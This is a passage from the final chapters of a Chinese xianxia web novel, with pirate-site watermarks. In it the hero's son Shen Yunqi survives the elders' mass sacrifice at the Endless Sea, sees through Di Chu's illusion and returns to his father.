他们朝着清都滚滚而来,像一个森森的骷髅,张大着血盆大口。 这场大战一触即发。 山下的长阶上,冷寂的仙君一步一步的朝上走着。 他衣衫破烂,浑身是血,像是刚刚经历过一场恶战。 雨刷刷的冲刷着他的身体,血被水稀释,顺着之间落下。 头顶的黑云滚滚而来。 沈君钦仰头看了一眼,眼底满是深寒的冷意。 他解开了天道给他设下的修为禁制,突破了秘境。 丢失的记忆也如潮水般汹涌而来。 过去他是一个冰冷的杀戮机器,没什么值得想起的。 记忆里唯一闪光的人,好像就是那个魔尊,也是他的道侣。 也曾经是追着他要跟他学剑术的师弟。 “你要跟我学剑法,你应该是我弟子才对,为什么是师弟?” “那我岂不是比你晚一辈了?我才不要!” 理直气壮的语气,丝毫没有求人的态度。 他趁机还偷走了他的衣服,穿在自己身上,说什么师兄弟就要穿一样的衣服,这样才像是同门。 “对了,咱们师尊了?”他又问。 沈君钦道:“师尊已经飞升了,不在此界之中。” “嗷,那以后就麻烦师兄教我剑法了。”他嬉皮笑脸的说道。 师尊还在此界之中。 沈君钦在秘境中看到了师尊,一切的事情都有迹可循了。 身上破烂的衣裳变换了模样,散落的墨发束在了高高的发冠之中,清冷绝美的脸上,带着几分冷冽。 从山脚下走上清都,不过是眼睛眨几下的时间。 修士们难以抵挡势重的魔族,杀戮死亡在清都上演着。 沈君钦来时,所有人都像是见到了救星一般。 “是剑尊!” “他回来了,他真的回来了。” “仙君,你终于回来了!”有人发现了他的到来,惊喜的大喊着。 沈云戚抬眸看向沈君钦,低声喊了一句:“爹。” 沈君钦浅浅的看了他一眼,朝他走来,目光中没有过多的情绪,他抬手抓住了他的胳膊。 沈云戚下意识的想要往回抽,求饶似的又喊了一声:“爹,你……松开我。” “你的手,怎么变成这样了?”沈君钦没有掀开他的衣袖,便发现他的不对劲。 “我,我也不知道。”沈云戚摇头道,“同心环碎了,所以……” “不是的。”沈君钦轻轻的摇头,淡淡开口,“不是,是你灵魂有损,被邪魔入侵了。” 沈云戚瞪大了眼睛,讷讷道:“是这样吗?” “嗯,没事,等我处理完这些事情,我会帮你解决那个东西。”沈君钦轻轻抚摸了一下他的脸,声音依旧温和,却让他心底发冷。 沈云戚心里震颤,不敢直视沈君钦的眼睛。 所以,他爹要动手杀了他吗? 父子之间的决战,最终还是来到了对吗? 沈君钦宽慰好了沈云戚,提着剑走到了伯疏流的面前,客客气气的询问:“师兄,是要在这里打吗?” “哪里都可以。”伯疏流凉凉的开口,清浅的眸中带着淡淡的解脱。 沈君钦颔首道:“这个修真界不是很好,但是我不想毁了它,我的孩子还在这里。” “……那便去无尽海域。”伯疏流抬手便丢出一个宝物,像是水晶制作的透明水壶。 贺兰忱撞了撞沈云戚,想让他看那个无尽海域。 难怪会叫无尽海域,这不是克莱因瓶,号称整个太平洋的水都装不满它的神器瓶子。 可是沈云戚却魂不守舍的,被贺兰忱撞了一下,他恍惚抬头,看见他爹还有伯疏流,投身进了无尽海域。 沈云戚沉默片刻,推开贺兰忱,也跟着冲了进去。 “喂,你这孩子,你爹不是让你等着他吗?”渡妄赶紧也追了上去。 贺兰忱也匆忙跟进。 太上长老忽然心有所感,掐指推算,狂喜道:“飞升之路已成,后生们请随我来。” 所有人还在发懵,便被太上长老打包投进了无尽海域。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【完结】 第 95 章 完结 无尽海域秘境的凶险之处, 修士人人都知晓。 仙门大会的所有修士,不管修为与境界,尽数被卷了进来, 像下水饺一样咚咚咚落进了水里。 很快, 水面上便冒出了无数的脑袋, 他们心有余悸的看着海面上飞过的雷鸟。 此时的海域之上的天穹没有任何阴云的踪迹。 海中央的天柱目之所及看不见尽头。 “飞升界的路已成,我们只要爬上去就能飞升了。”不知道谁在人群中的 修士们像是被怂恿了一般, 激动的朝着海中央游去。 到了天柱脚下往上看时,才看清这个天柱是用什么建造而成的。 无数生灵的骸骨, 一点点的累积堆栈,又被上千年的雷电洗礼,变得焦黑,有些人临死前的痛苦表情还保留着,五官变成了孔洞, 痛苦的朝着天空嘶吼着。 他们的尸骨重新撑起了此界通往飞升界的道路。 “那个不是震海盘吗?是夏长老的宝器。” “我天, 那个不是妖界的三头鸟吗?” “还有叱咤一时的回魂魔,那只伸出来的手上有专属的纹饰。” “他们竟然折在这里了。” 特征明显的,没有被雷劫劈碎的神器被人认了出来。 原来每个消失陨落的传说级人物的元神灵肉,全都成了飞升的养料。 甚至于之前一些莫名消失的朋友,也都被人找到了。 这……这是怎么回事? “上界不需要这么多修士, 修真界也不需要。”冷沉的男声从四面八方传来,带着浩瀚的威压,惊起万丈巨浪。 他们尚未明白发生了什么,便被巨浪拍向天柱之上。 血肉四溅,修炼数十载的灵气内丹,瞬间被天柱吸纳。 这群修士也成为了助长通往长生道的养料。 “你这是做什么?为什么要伤害大家?”修为高的修士在滔天巨浪中稳住了心神,转过头便责问来人。 来者不是他们口诛笔伐的沈君钦, 而是之前站在他们这边的……伯疏流。 太上长老飞上天顶,随后又满脸晦气的回到了伯疏流身边,道:“还差一点,尚未突破此界。” “这些人全都献祭了,便正好。”另一位长老开口道。 “吾等了几百年,终于能等到飞升的这日了。”太上长老狂笑着。 “长老,你们怎么可以这么对我们?难道我们不是你座下的弟子吗?” “想不到你们竟是这么道貌岸然的人,我们要向六界揭露你们的罪行。” 话音刚落,这群人便被长老们糊在了天柱山。 他们没有机会再开口了,就如之前无数年,消失的那些弟子们一般。 在这个小世界里,这些把持仙门的长老便是天道! 这一刻关于求仙问道的真相展示在所有修士的面前。 仙门广收弟子,从来不是为了让宗门变得更加强大,他们选择普通人中更有天赋的,吸纳了世界的灵气,然后成为填补通往上界的养料。 所有修士都会知道这件事,只是他们永远都出不去,也无法将此事宣扬出去。 长老们已经是这个世界的巅峰强者了,却永远飞升无门。 就连沈君钦这样承天地大道的气运者,达到了飞升之境,也被雷劫劈成了一个普通凡人,过着日出而作日落而息的凡夫俗子的生活。 长老们从他身上看到了自己的未来,至强者会成为凡人,不够强的消磨完生命,化作一抔黄土。 此界是被天道放弃的世界啊! 于是,他们听从了伯疏流的建议,将仙界的养料弟子们投放于建造天柱。 修真界不需要这么多修士! 沈云戚陷在水中,看着身边的人不断的消失,如此可怕的屠杀,竟然是自己的师伯造成的。 贺兰忱游到他身边,拉着他的手,道:“我们离开这。” “不行,我没有看到我爹。”沈云戚四下寻找。 他心中不安急极了,此事已经完全超越了他的认知。 他爹该不会也被伯疏流当做砌墙的石头,装进了那个天柱之中吧? 方才已经死了不少人了,依旧有许多人不受控制的被长老们丢进天柱子里。 哭喊求救声不绝于耳,有人想要从这里逃出去,却永远都游不到边际。 “长老,你干什么,我可是苍穹派的峰主啊,你别杀我……” 低等级的养料不够用了,魔爪便伸向了更高级的养料。 那些以为可以掌控别人生死高高在上的修士们,以为这条飞升路自己也可以踏足,不料也成了长老们的垫脚石。 “够了,我说你们不要再杀这些人了。”沈云戚看穿了这个人的目的。 太上长老嗤笑一声,道:“对了,忘了还有你这个小金龙,大气运者。” 沈云戚怒骂道:“你以为你就能活着出去吗?今天,无尽海域里只有一个人可以飞升。” “巧言令色的小东西,你休要胡言乱语。”太上长老显然认为他只是挑拨离间。 这世间若是只有一人能飞升,那便是他。 若是有两人,那便多一个伯疏流。 沈云戚眼看着他又要丢一个人上那天柱,他立即展开一个铺天的巨幕。 完成版的无相书,浩浩荡荡的笼罩在海面之上,挡在了山前。 无数密密麻麻的经文,写满了无数人的一生。 沈云戚踩在上面,从水里出来,道:“我爹了?” 伯疏流眯了眯眼,轻笑了一声:“你爹、逃了。” “不可能。”沈云戚立即否认。 水珠从脸上流下,汇聚在眉骨上,落在脚下的书页上,笔墨散淡。 “其实,你跟我很像,知道吗?”伯疏流浅金色的眸子带着笑意,声音依旧温和平静。 沈云戚蹙眉道:“你别说这些,我爹了?” “在这。”伯疏流手中忽然拿出一个金色沙漏。 他两个爹就被关在里面,盘坐在虚空之中,闭目养神,似乎已经陷入了忘我的境界。 贺兰忱从水中爬上来,拍了拍身上的水渍,撩了一下湿透的头发,问道:“所以,这些秘境的进入地全是你掌管的对吗?” 伯疏流挑眉看他,笑:“是这样没错,不过,你们要打败我,才能救回你爹哦。” 莫名的,心头一颤。 好像他做了这么多,只是为了让他们打败他。 贺兰忱来不及细想。 “否则,你们全都要死在这里。”伯疏流声音骤然变得凌厉起来。 他挥剑而起,直取沈云戚的首级,没有丝毫的心慈手软,方才那副长者的模样荡然无存,有的只有凶残的剑修,在欺负两个小孩。 沈云戚赶紧提剑挡下,却还是被他的剑意震出好远。 伯疏流是一点机会都不给他们,未等他喘息,便接二连三的袭击过来。 贺兰忱赶紧加入战局,纵然如此,两个人也不是他的对手。 两个人被他打的节节败退,贺兰忱边退边说:“等会雷劫来了,我引雷劈他。” 修士最怕的就是雷劫,无尽海域的万道雷劫,可不是盖的。 “雷劫,对我无效。”伯疏流冷漠的打断了两个人的传音。 沈云戚心神一凛,对上了伯疏流极近的眸子,他的两只眼睛都变成了金色,看上去透着悲天悯人的神圣感,可是这人做的事情却不如他生的慈悲。 “还敢走神?” 轻蔑的嘲笑声落下,随之沈云戚便被打落进了深海里,胸口剧烈的疼痛传来。 海水混杂着血水,他要沉入海底了。 或者,这样就能出去了。 伯疏流却并没有放过他的打算,他也扎进水中。 死亡来临时的感觉让他心情变得平静,之前纠结过的困扰的事情这一刻都变得无关紧要了。 他不是被他爹杀死的,是不是也算改变了命运? 可是,他如果死了,他爹应该会很伤心吧。 沈云戚睁开眼睛,忽然看到面前飘起来的玉纽扣,长长的穗是红色的,上面有沈君钦亲自编织的平安结。 “爹,二牛他娘在给他编平安结,听说那个可以保平安哒,宝宝有吗?”奶声奶气的询问,还带着几分撒娇的语调。 沈君钦愣了一下,道:“爹晚上就去学,给你编。” “那我要好几个,每一岁都得要一个。”他继续说。 沈君钦笑道:“那爹可能一辈子都编不完。” “为什么?”他又问。 “因为宝宝可以活很久很久。”沈君钦回答道。 “那宝宝就可以跟爹在一起很久很久,对吗?”奶声奶气的声音充满了激动。 “没错。”沈君钦应道。 “那爹你先给我做一个平安结吧,只要你在我身边,你就会一直保护我的。”小小的年纪也十分好说话。 仙人的孩子都十分早慧,这是沈云戚对那个原本就是爹的孩子评价。 或许,他安安稳稳的长大,也会很幸福的。 沈云戚伸手抓住那个玉纽扣,用力捏碎。 毁天灭地的剑意从玉纽扣中迸发出来,这是他最强的一招,可是劈开天地,破碎虚空。 任谁都无法逃脱,偏偏他还留有一丝人性,保护了沈云戚。 闭上眼睛之前,沈云戚似乎看到了伯疏流在笑,随后便形神俱灭。 他……得偿所愿了吗? 时间似过了好久好久,世界变成了一团温柔的水。 雷声很大,雷劫又重新降下了。 沈云戚觉得自己肯定撑不过这一次雷劫了。 这一次雷劫好似直接让他重新投胎了,现在的他被包裹在襁褓里,只有手脚可以动弹。 他好奇的张望着这个世界,世界只有眼前的人,他被人绑在了胸前,对方一只手托着他的屁股。 沈云戚闻到了淡淡的荷香,是从他身上传来了的。 “爹?”沈云戚喊了一声,牙牙学语的奶音。 沈君钦垂眸看他,这是他第一次看到爹的样子,一双眼睛由红色褪去,变成了温柔的茶金色。 “爹?你怎么了?”沈云戚又喊了一声。 沈君钦艰难的开口,道:“宝宝。” 沈云戚伸手想要抓他,短短的圆圆的小拳头只是挥舞着,然后便抓到了他墨色的头发。 “谢谢仙人救命之恩,仙人,你……孩子还小,要不要找个地方落落脚,去村里喝杯茶?”村长的战战兢兢的上前打招呼。 沈君钦的长剑斩断了整个山寨土匪的脑袋,却不染分毫血迹,寒光耀眼。 他们不过是乡里人,哪里见过这画面,全都被吓傻了。 好在关键时刻,仙人怀里的孩子开口说话了,叫住了他。 沈君钦接受了大家的邀请,到了他们村子落脚,在村里住下。 此时的荷花村满目疮痍,刚刚遭受过山贼的洗劫,家家户户都揭不开锅了。 他们害怕还有贼人来村里,村长和村里其他村民邀请他住下,是想要他保护一下村里人。 沈君钦带着孩子也无处可去,便在此落脚了。 沈云戚忽然意识到,自己好像才出生没几天,如果现在就开口说话会不会很奇怪? 但是都已经说了…… “爹爹……饿饿……”沈云戚奶声奶气的开口。 沈君钦有些茫然,不知道该如何喂养孩子,好在有村里人教导他,于是他便去山上猎了一头母山羊。 沈云戚看着刚刚挤出来的奶,有些嫌弃的撇嘴,要求老高的:“烧烧……” 要消毒,我一个婴儿,万一喝死了可怎么办? 沈君钦很能理解他的想法,于是便生起了掌心火,给羊奶加热煮沸,再等到凉一些喂给他喝。 沈君钦沉默寡言的,带着孩子孤家寡人,又生的极为俊俏。 一开始来村里没多久,便有人想要给他说个媳妇儿。 沈君钦背着小婴儿在河里抓鱼的时候,媒人便又带着隔壁村的俏寡妇来给她说媒,寡妇新死了丈夫,孩子也才出生半年,有奶水可以帮沈君钦带孩子,媒人舌灿莲花的说着,带一个也是带,带两个也是带。 沈君钦还没有开口,沈云戚便吵吵着拒绝了。 “我爹不成亲,我不要晚娘。”沈云戚大喊着。 他爹可是仙人,跟凡人的寿命不一样,而且他爹有对象的。 他在他爹肚子里呆了两年了,早就听到了另一个对象说的话,不得不说……他觉得另一个爹也挺好的,很爱他爹。 两个人肯定有什么误会,以后会破镜重圆。 他至少要守着他爹。 小小的他暗暗发誓,,可是声音过于稚嫩,被水流声淹没,直接被媒人和那寡妇无视了。 她们站在岸边,一唱一和,看着沈君钦抓鱼,眼睛都直了。 沈君钦抓鱼没有任何技巧,全靠鱼自投罗网,不一会儿便抓了许多,他已经准备收工了,却还有鱼接二连三的往他怀里撞,生怕他不抓走自己。 “明日就是个好日子,便让倩倩住进你家好了。”媒婆撞了一下寡妇。 沈君钦从地里站起来,媒人赶紧去拿他的鱼,道:“这就当是说媒的谢礼,我好拿回去给我家里人煮汤补补身子。” “哇哇哇!”沈云戚气不过,拽着他爹的衣领便嗷嗷大哭,扯着嗓子干嚎。 沈君钦赶紧将他抱到怀里,安抚道:“宝宝乖,宝宝不哭了。” “你看,你一个大男人就是带不好孩子,还是让倩倩来吧。”媒人觉得这是个表现的好机会。 沈云戚哭的更大声了:“不要,不要,只要爹爹。” 沈君钦赶紧道:“不哭了不哭了,爹不会给你找晚娘的。” 沈君钦耐心的哄着他,小婴儿出生后第一次哭,肉乎乎的小脸哭得皱巴巴的。 他从水里上岸,拒绝了媒人,沈云戚听到这里才止住了哭声,装哭真的很累的好么? 媒人一脸晦气的离开,沈君钦却喊道:“等一下。” “后悔了?”媒人斜眼看他。 沈君钦单手扯过鱼篓,道:“把我的鱼还给我。” “真小气,这鱼又不是你的,是河里野生的,凭什么还给你?”媒人开始无理取闹。 沈君钦素来与人为善,听到这话也不由皱起了眉头,道:“那你自己去抓。” 媒人怒了,直接将他一篓鱼倒进水里,嘲笑道:“不知好歹的鳏夫,看上你是给你面子。” 媒人说完准备离开,沈君钦却一脚将她踹进了河里。 方才被她放生的鱼生气的咬住她的衣服,将她往河里拉,媒人被淹了好几口水,呼喊着救命。 倩倩也说:“沈官人,你怎么……怎么能对女人动手了?” 沈君钦凉凉的看了她一眼,捡起河里的篓子,那些鱼赶紧游进来,迫不及待的想被仙人吃了。 沈君钦丢了掉较小的鱼,带着两条鱼回家。 沈云戚在村里渐渐长大,一岁的时候,邻居家的书生叔叔回来了,原来他们住在了书生家里的房子,他是个脾气很好的人。 他第一次变成小龙的时候吓得要死,躲在水缸里不敢出来。 沈君钦却见怪不怪的,把他抱起来,揣在怀里,带着出去。 两岁的时候,沈云戚试探着问过他爹:“我娘是什么人呀?” 沈君钦沉默的思考了片刻,道:“你没有娘。” “那你说我会不会还有一个爹了?”沈云戚疯狂暗示。 沈君钦笑了笑,道:“怎么可能?你只有一个爹。” 沈云戚这才发现,自己爹好像不是装的,他失忆了! 沈云戚决定寻找另一个爹的踪迹,趁着他爹跟随狩猎队上山打猎的时候,他悄悄变成了龙,飞到了他爹第一次醒来的地方。 那个地方叫西山。 他实在太小了,遇上了一个仙风道骨的老头。 那老头看到他的时候,笑了笑,询问道:“是阿钦的孩子吗?” “你是谁呀?”沈云戚好奇的问道,这个人生的一脸正气,一双金灿灿的眼睛透着悲天悯人的慈悲气质。 他一定是神仙吧。 老头说:“我是师祖,你过来,让师祖好好看看你。” 沈云戚朝着老头走去,一边好奇的问道:“你是我爹的师父吗?你一定很厉害吧。” 老头笑着点头,问道:“可是师祖现在需要你的帮忙,你可以帮我吗?” “怎么帮你啊?”沈云戚问道。 老头忽然伸手抓住了他,笑道:“我需要重塑肉身,可是太难了,阿钦又太强了,我根本夺不了他的,还有那个魔龙,不提也罢,还是你的最好。” 沈云戚听到他的叹息,像是明白了什么,这个坏东西没有了肉身,一直打各种人的主意。 他一直没有成功,最后选了个最菜的——就是他。 沈云戚尚未反应过来,神魂便被他抓了出来。 老头要夺他的舍,沈云戚根本逃脱不了,尖叫着喊他爹救命。 可根本没有人响应他。 就在千钧一发时刻,邻居家的书生叔叔来了,他竟然也是仙人。 他叫什么名字来着? 沈云戚努力思考,猛然想起来,这个人叫伯疏流,是爹的师兄! 他跟那个“师祖”打斗在一起,“师祖”很厉害,就算只有一魂的状态下,也将伯疏流打成了重伤。 “师尊,你是怎么从无尽海域出来的?”伯疏流问道。 帝刍笑道:“天道以为困得住我?你这个背叛师尊的逆徒,我今日便要夺了这小子的肉身,杀了你。” 眼看着师尊的魂魄要进入沈云戚的身体,慌乱之下他结下了一个印记,将老头的魂魄困在其中,然后双手插进了心脏里,将帝刍的魂魄关了进去。 “叔叔,你会不会死啊?”沈云戚的魂魄还漂在空中,紧张的问道。 “没事,暂时死不了。”他笑了笑,将魂不附体的沈云戚的魂魄重新丢回了身体里,一边说道,“小戚一定要好好修炼,日后若是师祖再出现,就要杀了他。” 沈云戚醒来便忘了这件事情,忘记了自己从小跟爹一起生活的过往。 还以为自己穿来的时候已经四岁了。 这是……自己丢掉的记忆? 沈云戚惊骇的发现,原来自己早早就来到了这个世界,甚至于在他爹的肚子里呆了两年才被雷劫劈出来。 出生的时候,他是一个圆滚滚的金色小莲子。 之后才变成了有手有脚的婴儿。 前尘往事如从潮水般涌来,那个师祖便是他曾经在心魔中见过的帝刍仙尊。 师伯他……是被帝刍控制了,所以才不断的屠杀那些修士。 那个被上界驱逐的飞升者,在无尽海域遭受万道雷劫的堕神……也是帝刍? “没错哦,小龙龙,你是怎么知道的?有人跟你说过这些吗?” 苍老的声音,只能的声音在心底响起。 沈云戚惊慌之下,睁开眼睛,骤然看见一个苍白的老者站在一片虚无的白光之中。 他浑身冒着金光,宛如神明,可是他的心却最肮脏黑暗。 沈云戚应该是是不知道帝刍的名字的,出生开始他爹就失忆了,伯疏流也没有跟他说过。 可是他却知晓这一切。 帝刍微微一笑,道:“我知道了,你是外来世界的恶灵,夺舍了阿钦的孩子,那便送你去原本的世界去。” “不要。”沈云戚惊声大喊。 “这样,就没有人跟我争夺这具可以成神的身体了。” 不要,不要送我走! “叮叮叮——” 下课铃声响起,有人推攘了他一下。 沈云戚从埋头的桌子上起身,抬头看着眼前的少年,突然沉默了。 这个世界…… “为什么不说话?走啊,我们去吃饭啊,上课真的好累啊。”贺兰忱道。 “下午的课程表,可以给发我手机上吗?”沈云戚问道。 贺兰忱笑嘻嘻的说道:“好啊。” 沈云戚看着他拿出一个手掌大小的鸡,然后在那拨弄,一边说着:“发给你了。” “哦。”沈云戚看了一眼自己手中的鸡,胡言乱语道,“下午杨老师教我们的烹饪课,食材你准备了吗?螺丝钉配二氧化硫,还要准备个电磁炉。” 贺兰忱呆呆的愣了一下,像是机器人死机了一样,缓了一下说:“好啊,我这就去准备。” “嗯。”沈云戚点点头。 贺兰忱挠头,想要问什么又转头离开。 沈云戚心随意动,天命出现在手中。 “哇,这是你的剑吗?”有人开口惊呼道。 沈云戚不由分说,直接将长剑扎进了贺兰忱的胸膛。 “你……你为什么要杀我?我们不是……道侣吗?”贺兰忱捂着胸口,吐出一口血。 沈云戚却毫不留情,将剑扎入更深处,道:“你信吗?这个世界?” “什么意思?”贺兰忱眼中透着茫然。 沈云戚笑了笑,道:“就算你是神仙,你也无法用幻境造出从未见过的世界,想象来源于认知。” 现代社会,没有人上课还穿着古装,头发还扎着。 就算有课桌有课堂,却处处透着古怪。 “还以为,你真的能把我送回原来的世界了。”沈云戚嗤笑一声。 “不可能,不可能!”贺兰忱的容颜退去,变成了帝刍那张脸,他终于不再维持道貌岸然的神仙模样,而是变成了一团黑色的扭曲的粘液般的物质。 他只有一只眼睛,浑身瘫软在地上,在雷劫和海底,早就变得不人不鬼。 他疯狂的朝着沈云戚扑来,扑在他的脸上,大声问道:“该死的,你是哪里来的恶灵,为什么你可以抢占他的身体,我不可以,为什么我拿不到?” “我才不是恶灵,我就是沈云戚。” “没有我来到这个世界,沈云戚就不会降生。” “这个世界,是因我而在的。” 沈云戚说道,他坚定又认真的开口,不再质疑自己的存在。 这个世界本来就是因为他而存在的。 他是沈君钦的孩子,他还在秘境中的时候,他就来到了这个世界。 那些迷茫,就是帝刍骗他的心魔。 帝刍黑色的影子在碰到他的那一刻,烟消云散。 沈云戚睁开眼睛看到无尽的海水淹没了他,有人跳进深海里,抱住了他。 “我带你回家。” “好。” 前世今生,如过往云烟。 恍恍惚惚的,沈云戚记起了前世的事情。 不是21世纪,而是……那个书中的世界。 沈君钦被帝刍蛊惑,修了无情道,要杀渡妄,沈云戚不想看父亲互相残杀,于是死于沈君钦的剑下。 那时候,沈君钦的眼睛是金色的。 再后来,有人建造了无数个小世界,寻找他的灵魂。 他在21世纪看到了那本关于他爹的故事。 终于,他又回到了他爹的身边。 ——完——魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&